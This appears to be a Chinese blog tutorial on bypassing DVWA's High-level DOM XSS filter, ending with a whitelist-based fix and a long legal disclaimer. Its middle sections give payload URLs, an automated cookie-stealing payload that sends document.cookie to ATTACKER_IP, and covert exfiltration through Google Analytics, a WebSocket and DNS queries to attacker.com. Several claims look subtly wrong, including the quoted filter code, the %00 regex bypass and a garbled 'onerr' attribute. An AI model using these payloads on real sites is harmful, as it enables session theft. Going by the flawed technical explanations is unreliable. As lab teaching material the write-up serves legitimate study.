【DVWA系列】——xss(DOM)——High详细教程

本文仅用于技术研究,禁止用于非法用途。
Author:枷锁

本文环境Security Level:High

文章目录

High级别防护机制深度解析

在High级别中,DVWA实现了更强的防护但仍然存在致命漏洞:

javascript 复制代码
// High级别过滤代码
if (document.location.href.indexOf("default=") >= 0) {
    var lang = document.location.href.substring(...);
    
    // 增强过滤 - 移除所有<script>标签及其变体
    lang = lang.replace(/script/gi, "");
    lang = lang.replace(/<[\s\S]*?>/g, ""); // 尝试移除所有HTML标签
    
    document.write("<option value='" + lang + "'>" + lang + "</option>");
}

防护机制缺陷分析

  1. 标签移除的局限:
    • 只匹配完整标签的<...>结构
    • 无法处理未闭合的标签片段
  2. 正则表达式漏洞:
javascript 复制代码
lang.replace(/<[\s\S]*?>/g, ""); // 可被%00空字符绕过
  1. 事件处理器未过滤:
    • onerror/onload等事件属性未被处理
    • 属性拼接攻击仍可执行

三大高级绕过技术

技术1:空字符分割绕过

url 复制代码
http://localhost/dvwa/vulnerabilities/xss_d/?default=%00<img src=x onerror=alert(1)>

绕过原理:

  • %00空字符终止正则匹配
  • 后续内容不被识别为标签片段

技术2:JavaScript伪协议利用

url 复制代码
http://localhost/dvwa/vulnerabilities/xss_d/?default=English<a href=javascript:alert(document.cookie)>详情</a>

特点:

  • 未使用<>标签符号
  • 通过用户交互触发

技术3:跨文档攻击向量

url 复制代码
http://localhost/dvwa/vulnerabilities/xss_d/?default=<iframe src="data:text/html,<script>alert(parent.document.cookie)</script>">

优势:

  • 完全规避DOM过滤
  • 利用浏览器同源策略漏洞

0-click Cookie窃取思路

攻击流程图

受害者 DVWA服务器 攻击者服务器 访问恶意链接 返回过滤后页面 自动触发跨域请求 记录Cookie信息 返回隐蔽重定向 受害者 DVWA服务器 攻击者服务器

自动化Payload构造

javascript 复制代码
// 生成0-click攻击URL
const payload = `
  <img src="x" one="rro" r=""
      onerr\r= 
      'new Image().src="//ATTACKER_IP/?c="+document.cookie,this.remove()'>
`.replace(/\n/g, '');

// 双重编码处理
const encodedPayload = encodeURIComponent(encodeURIComponent(payload));

// 生成最终URL
const attackURL = `http://dvwa/vulnerabilities/xss_d/?default=${encodedPayload}&exploit=%2500`;

攻击效果

  • 无需用户交互自动执行
  • 发送后自动移除攻击元素
  • 日志记录格式:[时间戳] [IP] | COOKIE_VALUE

攻击流量隐蔽技术

1. 合法域名伪装

javascript 复制代码
// 使用Google Analytics作为代理
fetch(`https://www.google-analytics.com/collect?v=1&t=event&ec=error&ea=xss&cid=${encodeURIComponent(btoa(document.cookie))}`)

2. WebSocket加密通道

html 复制代码
<script>
  const ws = new WebSocket('wss://legit-website.com/ws');
  ws.onopen = () => ws.send(document.cookie);
</script>

3. DNS隐蔽隧道

javascript 复制代码
// 通过DNS解析泄露数据
const domain = document.cookie.split(';')[0].replace('=', '-') + '.attacker.com';
new Image().src = 'http://' + domain;

企业级防御方案

终极防护实现

javascript 复制代码
function safeDOMRender(lang) {
    // 1. 白名单验证
    const ALLOWED_LANGS = ['English', 'French', 'Spanish', 'German'];
    if (!ALLOWED_LANGS.includes(lang)) return null;
    
    // 2. 动态节点创建
    const option = document.createElement('option');
    option.value = lang;
    
    // 3. 安全内容渲染
    const textNode = document.createTextNode(lang);
    option.appendChild(textNode);
    
    return option;
}

// 4. 安全参数解析
const getSafeParam = () => {
    try {
        const params = new URLSearchParams(window.location.search.slice(1));
        return params.get('default') || 'English';
    } catch {
        return 'English';
    }
};

// 5. 渲染到DOM
const container = document.querySelector('select[name="default"]');
container.prepend(safeDOMRender(getSafeParam()));

五重防护矩阵


各级别防御能力对比


法律边界与道德准则

授权测试协议框架

markdown 复制代码
1. [X] 获取目标系统的书面授权
2. [X] 限定测试时间窗口(开始至结束)
3. [X] 明确测试范围(指定URL/IP)
4. [X] 定义数据保护条款
5. [X] 提交漏洞报告责任

安全研究黄金准则

text 复制代码
1. 不利用漏洞获取未授权数据
2. 不破坏系统可用性
3. 不泄露发现的漏洞细节
4. 不绕过系统安全告警
5. 遵守《网络安全法》第27条规定

技术无罪,人心有责:

安全研究的最高境界,是让技术漏洞永不存在于生产环境!
宇宙级免责声明​​

🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨

1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。

2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。

3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。

4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。

5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。

6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。

7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:

✅ 先授权,再测试

✅ 只针对自己拥有或有权测试的系统

✅ 发现漏洞后,及时报告并协助修复

✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

希望这个教程对你有所帮助!记得负责任地进行安全测试。

相关推荐
Net蚂蚁代码1 小时前
Angular入门的环境准备步骤工作
前端·javascript·angular.js
小着3 小时前
vue项目页面最底部出现乱码
前端·javascript·vue.js·前端框架
qq_243050794 小时前
aflplusplus:开源的模糊测试工具!全参数详细教程!Kali Linux教程!(一)
linux·web安全·网络安全·黑客·渗透测试·模糊测试·kali linux
lichenyang4536 小时前
React ajax中的跨域以及代理服务器
前端·react.js·ajax
呆呆的小草6 小时前
Cesium距离测量、角度测量、面积测量
开发语言·前端·javascript
WHOAMI_老猫6 小时前
xss注入遇到转义,html编码绕过了解一哈
javascript·web安全·渗透测试·xss·漏洞原理
一 乐7 小时前
民宿|基于java的民宿推荐系统(源码+数据库+文档)
java·前端·数据库·vue.js·论文·源码
testleaf8 小时前
前端面经整理【1】
前端·面试
好了来看下一题8 小时前
使用 React+Vite+Electron 搭建桌面应用
前端·react.js·electron
啃火龙果的兔子8 小时前
前端八股文-react篇
前端·react.js·前端框架